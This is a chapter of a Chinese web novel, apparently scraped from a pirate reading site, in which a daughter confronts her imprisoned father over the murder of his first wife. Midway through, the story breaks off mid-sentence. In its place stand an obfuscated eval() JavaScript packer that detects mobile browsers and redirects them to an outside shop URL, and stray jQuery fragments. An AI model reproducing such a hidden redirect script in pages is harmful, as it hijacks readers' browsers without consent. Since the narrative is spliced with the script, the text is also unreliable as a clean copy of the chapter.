文趣网 > 其他小说 > 枇杷熟时 > 56. 可以栖迟(2)
    月色苍凉如水,倾倒在赤.裸的大地上,空旷的街道忽传来哒哒的马蹄声。马车被月亮拉长的影子落在守在大门处的素槿眼里,她慌地提起裙摆在马车还未到时便迎了过去。

    在一小侍女从马车上下来,正欲搀扶阮卿荷时,挥手让她退下,自己取而代之。

    月光下,阮卿荷眼中的疲倦与憔悴显而易见。

    今日是阮卿荷作为阮府义女——阮易安首次出头露面,为防止有心之人做文章,素槿并未跟去。虽长公主所邀之人并不多,但素槿还是惶惶不安,尤其青禾也在,只怕要生事端。如今见阮卿荷的倦容,只觉担忧成了真,不免又在心中责骂起无辜的青禾来。

    “小姐可还好?婢子备有日铸雪芽,小姐喝了解解乏吧。”

    阮卿荷确是身心俱疲,难以再多说些什么,伸手揉了揉僵硬的眉心,哑声问道:“阿娘呢?”

    “用完晚膳便一直在佛堂诵经。”素槿回道。

    阮卿荷点头,提步往府里走去,又问:“父……”她止住了声,微不可闻一声叹息,只觉浑身的疲倦似汇成了实体,压得她步伐沉重又虚浮,好似走在泥泞的沼泽之中,稍有不慎便会被彻底吞噬。

    她闭眸,缓缓吐出一口郁气,再次睁眼时,微红的眼眸已不见一丝犹疑,“赵梅籍可有异样?”

    “赵梅籍三日未曾进食,中午昏了过去,派了医师为他诊断,又强灌了他一碗米汤,终是醒了过来,不过,他仍旧不肯用晚膳,吵着……要见小姐一面。”

    素槿悄悄抬眸,窥视阮卿荷的神色,只见她抿了抿唇,眸中溢出烦躁与纠结。

    “他是知求我阿娘无用,便想从我身上下手了。”阮卿荷耻笑,“他既如此想见我,我便去见他一面吧。”

    此话一出,素槿瞬间变了神色,“小姐,那赵梅籍神志不清,整个人疯疯癫癫的,您还是不要去了,再说夫人也不会允许您去的。”

    即便素槿再三阻拦,阮卿荷还是去了。

    她需要确认,那个向来对她和蔼可亲的父亲究竟可不可以称之为“人”。

    赵梅籍被关在了柴房里,这是阮卿荷第一次踏入此处。阴暗、逼仄、污秽,是她对此处唯一的评价。

    那个傻姑娘就是在这里,熬过了那漫长的七年岁月吗?

    阮卿荷朦胧的视线中出现了一个瘦小的身影,她蜷缩在干草堆旁,几只肥硕的老鼠在她脚边蹿来蹿去,蚊蝇臭虫打着圈地将她紧紧包围,四周一片漆黑与死寂。

    那是她,本应该是她。

    昏黄烛光中,镀金尘埃四处飞扬,随着呼吸朝她袭来,化作一双手死死扼住了她的脖颈。

    她非圣人,亦非愚人,理应觉得庆幸,庆幸那个痴儿愚蠢地放弃了本因拥有的一切,让她仍能享受荣华富贵、舐犊情深。

    可,这颗心却总是搅动着愧疚的酸苦,逼得她不得不竭力忍下无意义的眼泪。便是哭到眼盲,失语,也无法偿还青禾一二,亦无法让她心安,哪怕一瞬。

    “我……可以去恨吗?”

    她还记得青禾叹出这句疑问时的模样,宛如浮在水面之上的浮萍,悬在青草尖上的一滴朝露,是那样孤苦伶仃,摇摇欲坠。

    那个痴儿连恨都不敢。

    她泪尽到哽咽无法再言语,可那个小姑娘又含笑晏晏地说道:“恨太伤心了,我无力去恨任何一人。”

    “我只想用我这颗心去爱。这不就是神赋予世人心的旨趣吗?”

    黑暗中忽闪烁有光影,赵梅籍费力地撑开眼皮,待看清来人,双眼瞬间涌出了激动欢欣的泪水。他欲要冲过来,可手脚都被铁链锁了起来,他竭尽全力,也只能半坐起身。

    “荷儿……”他叫道,嗓音干涩粗粝,似风吹过久旱开裂的大地。

    阮卿荷这才看见赵梅籍,昏黄烛火中,那道身影极其消瘦,那张向来意气风发的俊美面容犹如秋荷一般枯败腐朽,她险些认不出他来。

    她不必问出那句虚伪的“您还好吗?”,答案显而易见。可这般结果,不过是他咎由自取。

    即便这样劝慰自己,阮卿荷还是难免心酸,毕竟他是她的父亲。

    “你们都退下。”阮卿荷拿过素槿手中的灯笼,对着她和守在柴房门前的侍卫不容反驳地下了令。

    素槿虽担忧,但也只能听从主子的命令,警惕地扫了赵梅籍一眼,又附在阮卿荷耳边低声叮嘱:“小姐千万不要靠他太近,婢子就在不远处,如有意外,小姐叫婢子就是。”这才忧心忡忡地退了下去。

    “荷儿……”

    眼前是他唯一的倚仗,赵梅籍迫切想要抓住,却被脚链绊倒在地,他狼狈伏在地上,泪流满面地唤女儿的名字,卑微诚恳的模样尤似走投无路的信徒在呼唤神明。

    阮卿荷并没有走近,她站在门边,用手帕捂住口鼻,遮挡空中漂浮的灰尘,犹豫洁白的鞋履要踏在哪一块稍显干净的地方。

    “荷儿,爹的乖女儿,爹求你,去和你娘求求情,爹知道错了,爹真的……知道错了……”赵梅籍久未喝过一滴水,喉咙干涩刺痛,每说一个字都似在吞咽刀片,喉间口中充斥着一股铁腥气味。

    他倒希望自己能呕出一口血,如此,他这善良又心软的女儿定然不会不管不顾,怕是忤逆她娘也会把他救出去。

    赵梅籍眼眸闪过一丝暗光,他咬牙咬破了唇角,一行鲜血顺势而下,混着他的泪,看上去好似真的受了天大的委屈,让人心生不忍。

    “荷儿,爹爹也不想这么做的,只是你也知道身为入赘之夫,那些人对爹爹一贯鄙夷不屑,冷眼相待,爹爹也是一时鬼迷心窍了!”赵梅籍的声音由凄厉变得低迷,哭诉他的苦衷,身子不停颤抖着,“荷儿,爹爹真的不想和你阿娘和你分开,爹爹是那么爱你们……”

    他的泪混着下颌的鲜血在泥地上,烙印下一个又一个丑陋的伤疤。

    阮卿荷居高临下,隔着不可触及的距离远望那一道脆弱不堪的身影,心中无限悲哀。何时起,她那个如傲世松柏,璞玉浑金般的父亲变成了这副模样?

    是像他所言的世俗眼光逼迫,还是,他本性如此?

    阮卿荷又想起了那一张含泪微笑的脸,那样稚嫩,那样……慈悲,让她想诚心诚意地匍匐在她的脚边求她赎罪。

    她诚心实意地忏悔过,一眼便知眼前人不过在惺惺作态。心中那最后一丝源于血脉的怜悯彻底湮灭。

    “你,可还记得赵兰芷?”

    已从他的生命消失的名字多年后被人提起,赵梅籍一时怔住了,连口中的呜咽都止住了,耳边只听得一声比一声凄厉嘶哑的鸣叫,许是蝉鸣。

    他记得,从前他在家中温书时,盛夏蝉鸣总扰得他心烦意乱,他的娘子便在烈日炎炎下举着涂满树胶的长杆,费力地一只只粘去树干上栖息的蝉。

    哪怕汗水湿透了衣裳,她也只是顶着一张被太阳炙烤得绯红发烫的脸,笑着对他说:“我不打紧,这蝉扰了我家的夫君可不行。我的夫君可是要当状元郎的,我可还等着做状元夫人呢!”

    赵梅籍心慌一瞬,很快便缓了过来,他直起身,抬眼看向阮卿荷,“可是你阿娘告诉你的?”

    未等阮卿荷回应,他便迫不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17817206|211078||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    及待,滔滔不绝地为自己喊起冤来。

    “我已同你阿娘解释过了,我与赵兰芷是隔邻,她家境不好,常遭父母打骂,我心生不忍,便常接济于她,可谁知她却死缠烂打黏上了我,甚至不惜将我灌醉,自毁清白,逼迫我娶她为妻,可我对她从未有过男女之爱。上京赶考之后,我也曾想过事已至此,不若就遂了她的意,可我却遇见了你的阿娘,情根深种,难以舍弃,自愿入赘,却未曾想过那赵兰芷会追到长安,颠倒黑白,控诉我来,偏你阿娘听信了她的谎话,与我疏离……我真真是有苦难言啊!”

    他说得如此流畅,想必这番说辞早已种在了他的脑中,翻来覆去不知讲了多少遍。

    他讲得如此明白,为何无人信他呢?

    因从始至终他的话语极为平静,唯有最后一句才带上点无奈的叹息。

    或是因说过太多遍已近麻木了吗?

    不是的,无论是他的话语还是神情没有任何真心可言。

    “荷儿,你是爹爹的女儿,你要相信爹爹啊!若爹爹对赵兰芷有情,又岂会任由我们的女儿被欺负侮辱?”

    啊……所以这就是他冷眼旁观的目的,只为了给自己捏造一个证据,便可任由自己的女儿被如此对待。

    阮卿荷难以置信,看着赵梅籍眼中的期盼与渴求,几欲作呕。

    她双手怀抱住小腹,手掌覆在腰上轻轻拍了拍。她所同情的不单单是青禾,还有那个可能的自己,以及她那个未曾谋面的母亲。

    “是你杀了赵兰芷,对是不对?”

    “赵兰芷留有一封血书,且有人亲眼目睹,你将匕首捅入赵兰芷腹部,待她咽气之后,将匕首塞进了阿娘的手中,诬陷阿娘是杀人凶手,让她这么多年都活在愧疚惶恐之中,这,便是你口中的‘情根深种’吗?”

    阮卿荷说得肯定,好似已掌握了什么实质性的证据,赵梅籍面色一僵,但当初有可能窥见之人皆被他以保护阮静姝的借口杀了,不可能有人知道。她不过是想试探他罢了。

    赵梅籍定了定神,狠狠咬了下唇角的伤口,让干枯的眼睛假意的泪水更加肆意。

    可阮卿荷没有给他狡辩的机会,深呼一口气,将那封写满无奈,眷恋,怨怼的血书甩落在赵梅籍手边,眼睛一眨不眨定定地盯着他,想要看出他的一丝歉意悔过。

    他将陪伴自己多年的发妻逼至末路,让她不惜鱼死网破,但凡他残存有些许的良知,他怎可能无动于衷?

    可下毒残害、亲手杀害发妻,给自己的孩子下烈性毒药,派杀手取她性命,这样的人已经不能称之为人。

    就如同赵兰芷在血书中所述的那般,他早已沉迷于富贵权势之中,磨灭了本心与人性。

    她的身上竟然留有他那肮脏的血,阮卿荷只觉自己也变得恶心了。

    她听着赵梅籍厉声的叫嚷,垂在身侧的手渐渐握紧了,指甲掐入掌心的刺痛,让她昏晕的脑子重新找回了清明。

    被无情撕碎的血书凄惨地铺在地上,像极了葬礼上撒落的纸钱。

    阮卿荷从赵梅籍的手中拽出自己最后一点心软,与赵梅籍七分相似的面容在惨白的月光下尤似镀了一层冰。

    赵梅籍抬眼,恍惚中看见了曾经的自己,高高在上,残酷无情。

    他只听得她冷硬甩下的判词:“赵梅籍,您这般的人只会辱没我阮家的门楣。”

    天色幽暗,却有炙热的火光冲天,将那沉静墨黑的天渲染得如鲜血一般红艳。

    临院中那棵枯梅树,在火光照映下,开了半树的红梅,树下,一株小小的兰草正破土而出。